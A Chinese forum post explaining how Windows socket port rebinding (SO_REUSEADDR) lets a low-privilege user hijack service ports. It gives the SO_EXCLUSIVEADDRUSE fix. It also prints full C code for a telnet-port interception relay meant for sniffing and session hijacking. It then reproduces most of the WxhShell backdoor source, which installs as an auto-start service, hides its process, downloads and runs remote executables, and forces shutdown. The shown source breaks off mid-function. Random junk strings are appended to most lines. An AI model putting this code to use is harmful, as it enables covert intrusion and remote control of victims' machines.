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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g"hm"m}i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~H7m7  
+VI2i~  
  saddr.sin_family = AF_INET; vv"_u=H  
#l+U(zH:JG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,g 6w2y7 ]  
 $3W[fC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k^S=i_ U  
bh3}[O,L A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u! x9O8y  
+i4S^B/8i  
  这意味着什么?意味着可以进行如下的攻击: }O<=!^Y;A  
%mt|Dl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |94"bDL3~  
$cSrT)u :  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) # 0dN!l;  
2}/Z.)^Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @'/\O-  
1<\@i{;xsU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M0S}-eXc5  
pD eqBO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k/u6Cw0/  
o;D87E6Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zVd2kuI&?  
C*,-lk0b@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ C,<Q  
K;sH0*  
  #include m3+MRy 5  
  #include fOdkzD,  
  #include py]m^)yc  
  #include    9.!6wd4mw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O1ofN#u  
  int main() ic%<39  
  { +5JCbT@y  
  WORD wVersionRequested; nws '%MK)  
  DWORD ret; l|/h4BJ'  
  WSADATA wsaData; B-@6m  
  BOOL val; G{pfyfF  
  SOCKADDR_IN saddr; e_kP=|u)g  
  SOCKADDR_IN scaddr; Nh^T,nv*l  
  int err; `kpX}cKK}  
  SOCKET s; `M6!V  
  SOCKET sc; hJ (Q^Z  
  int caddsize; 1j`-lD  
  HANDLE mt; ` {gkL-  
  DWORD tid;   lQ<2Vw#Yl  
  wVersionRequested = MAKEWORD( 2, 2 ); C5CUMYU  
  err = WSAStartup( wVersionRequested, &wsaData ); lF2im5nZ?  
  if ( err != 0 ) { >8"oO[U5>  
  printf("error!WSAStartup failed!\n"); r1\c{5Wt  
  return -1; 'nz;|6uC  
  } &BY%<h0c  
  saddr.sin_family = AF_INET; osoreo;V^  
   d(3F:dbk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r/$+'~apTk  
.0:BgM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mS p -  
  saddr.sin_port = htons(23); .{1G"(z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {0nZ;1,m  
  { yM}}mypS  
  printf("error!socket failed!\n"); $3[IlQ?  
  return -1; WS/^WxRY  
  } n#uH^@#0  
  val = TRUE; 3l_Ko %qS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `MA ee8u'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J*o :RnB  
  { gbsRf&4h  
  printf("error!setsockopt failed!\n"); y>Zvose  
  return -1; K kP}z  
  } 1P. W 34  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^VK-[Sz&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :9Zu&t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :3^b>(W.  
11glFe  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \V  /s  
  { p(QB5at  
  ret=GetLastError(); an_qE}P  
  printf("error!bind failed!\n"); Jkzt=6WZ0  
  return -1; L$=@j_V2  
  } ]( V+ qj  
  listen(s,2); L-hK(W!8pt  
  while(1) x|d Xa0=N_  
  { Z.am^Q^Y!  
  caddsize = sizeof(scaddr); A{iI,IFe  
  //接受连接请求 8/,m8UOY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uSLO"\zysX  
  if(sc!=INVALID_SOCKET) ! E` Tt[  
  { vA2@Db}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6F6[w?   
  if(mt==NULL) \(Dq=UzQI  
  { l+Dl~o}  
  printf("Thread Creat Failed!\n"); (# Z2  
  break; ,],"tzKtE  
  } Fvf308[  
  } S~d_SU~>`  
  CloseHandle(mt); I+Qv$#S/  
  } &I Iw>,,  
  closesocket(s); 1mhX3  
  WSACleanup(); t j&+HC  
  return 0; :@jhe8'w  
  }   f{xR s-u]  
  DWORD WINAPI ClientThread(LPVOID lpParam) EAn}8#r'(8  
  { >y mMQEX`  
  SOCKET ss = (SOCKET)lpParam; U_v{Vs  
  SOCKET sc; C7[ge&  
  unsigned char buf[4096]; /%EKq+ZP  
  SOCKADDR_IN saddr; {Z 3t0F  
  long num; !8yw!hA  
  DWORD val; ML'4 2z Y  
  DWORD ret; jIv%?8+%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 , mEFp_a+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %;yDiQ!+  
  saddr.sin_family = AF_INET; 34-QgE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >8_#L2@  
  saddr.sin_port = htons(23); !4GG q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pk9s~}X  
  { }hrLM[  
  printf("error!socket failed!\n"); Bj09?#~[  
  return -1; &sR=N60n  
  } ;j])h !8X  
  val = 100; k@JDG]R<{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mez;DKJ`  
  { &dF$:$'s  
  ret = GetLastError(); Rn~FCj,-  
  return -1; vZj^&/F$=g  
  } mA}-hR%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q}FDu,  
  { J\<7M8   
  ret = GetLastError(); )W95)]  
  return -1;  Q];gC{I  
  } u3vBMe0v[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,C2qP3yg  
  { ;v'7l>w3\w  
  printf("error!socket connect failed!\n"); .CdaOWM7  
  closesocket(sc); ;<`F[V Zau  
  closesocket(ss); ?P@fV'Jo  
  return -1; ztf VXmi'  
  } C`+g:qT  
  while(1) XIh2Y\33ys  
  { <9 lZ%j;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 drP2% u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Yr5A,-s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tRRPNY  
  num = recv(ss,buf,4096,0); LuY`mi  
  if(num>0) ?Y+xuY/t  
  send(sc,buf,num,0); jK/2n}q&]  
  else if(num==0) H1_XEcaM+*  
  break; wNL!T6"G  
  num = recv(sc,buf,4096,0); z!;n\CV@  
  if(num>0) 4)BZ%1+  
  send(ss,buf,num,0); ((^jyQ  
  else if(num==0) !|_b}/  
  break; *cx mQ  
  } 9+"D8J7  
  closesocket(ss); tt%Zwf  
  closesocket(sc); r?Jxl<  
  return 0 ; kCfSF%W&  
  } F,Y,0f@4U9  
VvN52 qeL  
'$pT:4EuGq  
========================================================== J2Y-D'*s  
"<ow;ciJF  
下边附上一个代码,,WXhSHELL } [}u5T`w>  
0cZyO$.  
========================================================== dl;~-'0  
v'Ce|.;  
#include "stdafx.h" *F*c  
Dww]D|M  
#include <stdio.h> EW*!_|  
#include <string.h> Uov%12  
#include <windows.h> 3xef>Xv=  
#include <winsock2.h> *k==2figz  
#include <winsvc.h> g]85[xz  
#include <urlmon.h> )hm U/E@  
geU-T\1[l  
#pragma comment (lib, "Ws2_32.lib") i3t=4[~oL  
#pragma comment (lib, "urlmon.lib") LSb3w/3M  
{PgB~|W  
#define MAX_USER   100 // 最大客户端连接数 R5 47  
#define BUF_SOCK   200 // sock buffer {9U<!  
#define KEY_BUFF   255 // 输入 buffer @3KVYv,q  
<q hNX$t  
#define REBOOT     0   // 重启 E0[!jZ:c  
#define SHUTDOWN   1   // 关机 kv&%$cA  
SY|r'8Z%Q  
#define DEF_PORT   5000 // 监听端口 qJ|ByZ.N+  
[1B F8:  
#define REG_LEN     16   // 注册表键长度 J9S9r ir&  
#define SVC_LEN     80   // NT服务名长度 W"S,~y  
&[,g `S0  
// 从dll定义API UfjLNe}wA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;~T)pG8IS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j} XTa[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q1EY!AV8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #%z--xuJL  
(q`Jef  
// wxhshell配置信息 5r"BavA  
struct WSCFG { ^tX+<X  
  int ws_port;         // 监听端口 / U1VE|T  
  char ws_passstr[REG_LEN]; // 口令 m)3?hF)  
  int ws_autoins;       // 安装标记, 1=yes 0=no " ] 0ER  
  char ws_regname[REG_LEN]; // 注册表键名 l=D E|:  
  char ws_svcname[REG_LEN]; // 服务名 2uFaAAT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ov: h4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b\NWDH7}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xb\(>7M6Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =o;QvOS;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^-{ 1]G:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hPr*<2mp  
Sxf|gDC  
}; nL!h hseH  
RrKAgw  
// default Wxhshell configuration hj64ES#x  
struct WSCFG wscfg={DEF_PORT, k| 0Fa}Z[  
    "xuhuanlingzhe", ya5a7  
    1, #3u3WTk+  
    "Wxhshell", 8+Al+6d|!  
    "Wxhshell", .B*Yg<j  
            "WxhShell Service", hu~02v5  
    "Wrsky Windows CmdShell Service", ~-x8@ /   
    "Please Input Your Password: ", nP?=uGqCBq  
  1, yq+<pfaqvK  
  "http://www.wrsky.com/wxhshell.exe", }l$M%Ps!a  
  "Wxhshell.exe" Gir_.yc/  
    }; 9\3%5B7  
jENarB^As  
// 消息定义模块 cd{3JGg B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8yz A W&q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GDw4=0u-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )|,-l^lC  
char *msg_ws_ext="\n\rExit."; SF+ ^dPwj  
char *msg_ws_end="\n\rQuit."; BL0WI9  
char *msg_ws_boot="\n\rReboot..."; "L@qjSs8  
char *msg_ws_poff="\n\rShutdown..."; 3~6F`G  
char *msg_ws_down="\n\rSave to "; hKtOh  
*E0+!  
char *msg_ws_err="\n\rErr!"; hR b k-b  
char *msg_ws_ok="\n\rOK!"; dvxD{UH  
/- z_"G  
char ExeFile[MAX_PATH]; !_E E|#`n  
int nUser = 0; Le9r7O:  
HANDLE handles[MAX_USER]; 1~8F&  
int OsIsNt; ]_I<-}?;  
_/ j44q  
SERVICE_STATUS       serviceStatus; 5Zs"CDU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8B;`9?CI  
\<|a>{`7]i  
// 函数声明 (ii 5pnq  
int Install(void); }#z E`IT  
int Uninstall(void); q_HC68YF,  
int DownloadFile(char *sURL, SOCKET wsh); ;hF>iw  
int Boot(int flag); B) &BqZ&  
void HideProc(void); u~<>jAy  
int GetOsVer(void); HP|,AmVLl  
int Wxhshell(SOCKET wsl); asP>(Li  
void TalkWithClient(void *cs); I@cKiB  
int CmdShell(SOCKET sock); E#Ynn6  
int StartFromService(void);  w J!  
int StartWxhshell(LPSTR lpCmdLine); S$W *i@x?  
a1ZGMQq!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p`gg   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q nZR  
oV ?tp4&  
// 数据结构和表定义 ({D.oS  
SERVICE_TABLE_ENTRY DispatchTable[] = !Y=s_)X  
{ o;FjpZ  
{wscfg.ws_svcname, NTServiceMain}, :eS7"EG{3  
{NULL, NULL} FePJ8  
}; 8>j+xbw  
G,{L=x Oh  
// 自我安装 c}Jy'F7&f  
int Install(void) V)R-w`  
{ N\H{p %8  
  char svExeFile[MAX_PATH]; \^EjE  
  HKEY key; eC9~ wc  
  strcpy(svExeFile,ExeFile); ]=9%fA  
M<7 <L   
// 如果是win9x系统,修改注册表设为自启动 Bx E1Ky8@A  
if(!OsIsNt) { aFo%B; 8m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IOF~V)8k=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HG@!J>YaD  
  RegCloseKey(key); uI%h$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q9K Gf;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R.A}tV=j#  
  RegCloseKey(key); !f)'+_d  
  return 0; gtJ^8khME  
    } \ :})R{  
  } yN{Ybp  
} )[9L|o5D  
else { =%U t&6}sQ  
5 W(iU  
// 如果是NT以上系统,安装为系统服务 -iBu:WyY$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mwbkXy;8  
if (schSCManager!=0)  .^@+$}   
{ |Y(].G,  
  SC_HANDLE schService = CreateService 4TG|  
  ( dyWWgC%A  
  schSCManager, )t&|oQ3sVG  
  wscfg.ws_svcname, ~SM2W%  
  wscfg.ws_svcdisp, N$Gx$u3Cd  
  SERVICE_ALL_ACCESS, b_V)]>v+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A40 -])'!  
  SERVICE_AUTO_START, PG<N\  
  SERVICE_ERROR_NORMAL, 7bsW7;C  
  svExeFile, rorzxp{  
  NULL, HH^{,53%  
  NULL, \Zoo9Wy  
  NULL, !"2 OcDFx  
  NULL, }E>2U/wpXY  
  NULL Km+29  
  ); fhH* R*4  
  if (schService!=0) q>Px   
  { "T}J|28Z  
  CloseServiceHandle(schService); DLS-WL  
  CloseServiceHandle(schSCManager); pe,c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7azxqa5:  
  strcat(svExeFile,wscfg.ws_svcname); 2#/ KS^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Wd{4(b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uO[4 WZ  
  RegCloseKey(key); W\} VZY  
  return 0; A*E4hop[  
    } y H+CyL\  
  } G#dpSNV3|  
  CloseServiceHandle(schSCManager); 9%zR ? u  
} DVTzN(gO*~  
} C dZ;ZR  
&~E=T3  
return 1; i;|% hDNWA  
} C 2oll-kN  
^D.B^BR  
// 自我卸载 G>:l(PW:  
int Uninstall(void) #Q'i/|g   
{ B]*&lRR  
  HKEY key; S^x9 2&!  
y]?$zbB  
if(!OsIsNt) { =PZs'K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gLpWfT29V  
  RegDeleteValue(key,wscfg.ws_regname); w_U5w  
  RegCloseKey(key); oR-_=U^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t9K.Jc0  
  RegDeleteValue(key,wscfg.ws_regname); zv0RrF^  
  RegCloseKey(key); 0-|1}/{4  
  return 0; H>DJ-lG(  
  } Ab_aB+g ]  
} xVl90ak  
} ;V@} oD+  
else { `gss(o1}  
x<ENN>mW1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :A[bqRqe  
if (schSCManager!=0) ww\/$ |  
{ "{V,(w8Dt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [dzb{M6_  
  if (schService!=0) A<TJ3Jp]  
  { ![vc/wuf  
  if(DeleteService(schService)!=0) { 1H[lf B  
  CloseServiceHandle(schService); (|6q N  
  CloseServiceHandle(schSCManager); n Isi  
  return 0; YF:NRY[i  
  } eM9~&{m.  
  CloseServiceHandle(schService); H/, tE0ZV  
  } b-O4IDIT  
  CloseServiceHandle(schSCManager); 3c9[FZ@ya  
} OOk53~2id  
} 1:>RQPXcWv  
D 'u+3  
return 1; G*"N}M1)  
} Hb]7>[L  
kb%W3c9HO  
// 从指定url下载文件 !Uj !Oy  
int DownloadFile(char *sURL, SOCKET wsh) +Nza@B d  
{ cnIy*!cJs  
  HRESULT hr; [9LYR3 p  
char seps[]= "/";  (K?[gI  
char *token; h h8UKEM-  
char *file; 17 j7j@s)  
char myURL[MAX_PATH]; ]&r/H17  
char myFILE[MAX_PATH]; Yd<~]aXM   
uq%RZF z(v  
strcpy(myURL,sURL); uY;/3 ?k&  
  token=strtok(myURL,seps); \7C >4  
  while(token!=NULL) {(tE pr  
  { }pTj8Tr  
    file=token; DC$ S. {n  
  token=strtok(NULL,seps); t TmFJ5  
  } C$%QVcf  
+2?0]6EQ  
GetCurrentDirectory(MAX_PATH,myFILE); ? {&#l2  
strcat(myFILE, "\\"); m+u>%Ys`  
strcat(myFILE, file); )5&m:R9  
  send(wsh,myFILE,strlen(myFILE),0); vEgJmHv;  
send(wsh,"...",3,0); vj_oMmjKw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e6_.ID'3  
  if(hr==S_OK) 2;&13%@!  
return 0; ! \gRXP}  
else oqY?#p/  
return 1; vc!S{4bN  
Wh<lmC50(  
} +(/Z=4;,[  
1a)_Lko  
// 系统电源模块 ad~ qr n\  
int Boot(int flag) GqAedz;.  
{ F9c2JBOM  
  HANDLE hToken; qB=pp!zQ  
  TOKEN_PRIVILEGES tkp; (dT!u8Oe  
K9P"ncMt  
  if(OsIsNt) { KC]Jbm{y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -s)2b ;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zk/NO^1b  
    tkp.PrivilegeCount = 1; &6:,2W&s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8bysg9H0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }3*h`(Bv7  
if(flag==REBOOT) { .*f;v4!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >3kR~:;  
  return 0; bF Vd v&  
} s<dD>SU  
else { @t2 Q5c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SKtEEFyIR_  
  return 0; 7L\GI`y  
} y$&a(S]  
  } 6X jUb  
  else { -j$l@2g  
if(flag==REBOOT) { %F4Q|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FlgB-qR]<n  
  return 0; h1kPsgzR  
} /~^I]D  
else { ?I0 i%nH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,mX|TI<*  
  return 0; Q*4q3B&  
} (gf\VYM-7  
} f|G7L5-  
%%Kg'{-:  
return 1; Ly<;x^D  
} YH[_0!JY^  
EGDE4n5>I  
// win9x进程隐藏模块 5]Ra?rF  
void HideProc(void) `MwQ6%lf  
{ $oQsh|sTI  
6P~"7k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (g)@wNBW  
  if ( hKernel != NULL ) &59#$LyH`%  
  { 6^aYW#O<Ua  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *~cs8<.!1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e>>G4g  
    FreeLibrary(hKernel); ICTtubjV"  
  } B5cyX*!?  
[s34N+vU  
return; 0B4(t6o  
} =c.q]/M  
"^= [*i  
// 获取操作系统版本 ?|8Tgs@+  
int GetOsVer(void) PVU"oz&T  
{ B0 I?  
  OSVERSIONINFO winfo; (XwLKkw0n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uy9B8&Sr  
  GetVersionEx(&winfo); pjCWg 4ya  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ) e2IT*7  
  return 1; `p{ !5  
  else vg.%.~!9  
  return 0; -5cH$]1\  
} cMWO_$  
qQcC[50  
// 客户端句柄模块 -Wn.@bz6B  
int Wxhshell(SOCKET wsl) '*XNgvX  
{ Z :9VxZ  
  SOCKET wsh; lp}WBd+  
  struct sockaddr_in client; ^'fKey`  
  DWORD myID; oGVSy`ku  
cO RMR!  
  while(nUser<MAX_USER) u0Erz0*G4  
{ <ut DZ#k  
  int nSize=sizeof(client); L_|uB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h3lDDyu  
  if(wsh==INVALID_SOCKET) return 1; Qkib;\2  
|3,V%>z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &7T H V  
if(handles[nUser]==0) fBgKX ?Y  
  closesocket(wsh); CdDd+h8  
else '^l^gW/|\  
  nUser++; i f<<lq  
  } y<1$^Y1/)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^B5cNEO  
V"H 7zx  
  return 0; b H?qijrC  
} >NRz*h#  
/plUzy2Yu  
// 关闭 socket iL_F*iK5  
void CloseIt(SOCKET wsh) @sHw+to|p)  
{ :#[_Osmf(  
closesocket(wsh); +w.Kv ;  
nUser--; _qeuVi=A  
ExitThread(0); ij(4)=  
} HQ3`:l  
@7s,| \  
// 客户端请求句柄 &U~r}=  
void TalkWithClient(void *cs) a9Fm Y`  
{ iEviH>b5  
jN%p5nZ^EK  
  SOCKET wsh=(SOCKET)cs; 7vaN&%;E%  
  char pwd[SVC_LEN]; NceB'YG|  
  char cmd[KEY_BUFF]; p$nK@t}  
char chr[1]; fHd!/%iG  
int i,j; {* j^g6;  
"Wk{4gS7l  
  while (nUser < MAX_USER) { r^A#[-VyNP  
`SjD/vNE  
if(wscfg.ws_passstr) { [b.'3a++  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yb\\ w<@g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iEpq*Qj  
  //ZeroMemory(pwd,KEY_BUFF); ;:4P'FWm^  
      i=0; 'K3 s4x($  
  while(i<SVC_LEN) { vzcBo%  
 l}0V+  
  // 设置超时 l-S'ATZ0p  
  fd_set FdRead; T5azYdzJy  
  struct timeval TimeOut; QG|GXp_q`  
  FD_ZERO(&FdRead); U>_IYT  
  FD_SET(wsh,&FdRead); ],F}}pv  
  TimeOut.tv_sec=8; w2d]96*kQe  
  TimeOut.tv_usec=0; XU_,Z/Yw_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }11`98>B6:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %i&/$0.8  
^+as\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tw/#ENo  
  pwd=chr[0]; 6%.  
  if(chr[0]==0xd || chr[0]==0xa) { 28R>>C=R  
  pwd=0; 'xbERu(Y  
  break; N<06sRg#  
  } V(2,\+t  
  i++; +^*5${g;@H  
    } F@ $RV_M  
_@!QY   
  // 如果是非法用户,关闭 socket Hs%QEvZl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); < m enABN4  
} x_<bK$OU  
a_{io`h3&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vK6ibl0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qB F!b0lr  
R6!cK[e]4  
while(1) { {jhmp\PN  
"%E-X:Il#  
  ZeroMemory(cmd,KEY_BUFF); y|6@-:B.  
`~ _H=l9{  
      // 自动支持客户端 telnet标准   OK-sT7But  
  j=0; eA?uny f2r  
  while(j<KEY_BUFF) { wb6L? t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G#w^:UL  
  cmd[j]=chr[0]; zg#m09[4  
  if(chr[0]==0xa || chr[0]==0xd) { hza> jR  
  cmd[j]=0; dK}WM46$   
  break; {}_Nep/;  
  } oWp}O?  
  j++; ZU|6jI}  
    } dP$8JI{  
)'[x)q  
  // 下载文件 "{A*(.  
  if(strstr(cmd,"http://")) { #2Pr Gz]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *N-;V|{  
  if(DownloadFile(cmd,wsh)) U~:N^Sc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U!&_mD# c  
  else UzgA26;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ WV@w  
  } +M'aWlPg,  
  else { .tRr?*V|l  
Ot`LZ"H:  
    switch(cmd[0]) { F qeV3 N  
  Zc'|!pT _  
  // 帮助 /m `}f]u  
  case '?': { s\'y-UITi1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p)B33Z zC  
    break; 6a4'xq7  
  }  8]q  
  // 安装 CmEpir{}(  
  case 'i': { ,3Wb4so  
    if(Install()) zL:&Q<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZV'$k\  
    else lWx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *jk3 \KaoV  
    break; &?.n2+T+ =  
    } (C daE!I4Q  
  // 卸载 Go>wo/Sb  
  case 'r': { DR:8oo&E  
    if(Uninstall()) fdlvn*H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D \N \BD  
    else 3k#[(phk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O 'k+7y  
    break; z Yw;q3"  
    } U;xu/xDRi  
  // 显示 wxhshell 所在路径 Y^52~[w~  
  case 'p': { q#P$'7"  
    char svExeFile[MAX_PATH]; v(DwU!  
    strcpy(svExeFile,"\n\r"); 'X =p7 d|'  
      strcat(svExeFile,ExeFile); )~ 0}Et l  
        send(wsh,svExeFile,strlen(svExeFile),0); o:2Q2+d  
    break; D.'h?^kA  
    } OT%0{2c"]  
  // 重启 ]N*L7AVl  
  case 'b': { E {tx/$f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g;pR^D'M5C  
    if(Boot(REBOOT)) G&q'#3ieC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +R-h ,$\=7  
    else { wfgqgPo!v  
    closesocket(wsh); ?4XnEDA m  
    ExitThread(0); pb!V|#u"  
    } qgoJ4Z*  
    break; hd+]Ok7"  
    } l)4O .*  
  // 关机 sI_7U^"[  
  case 'd': { eGm:)   
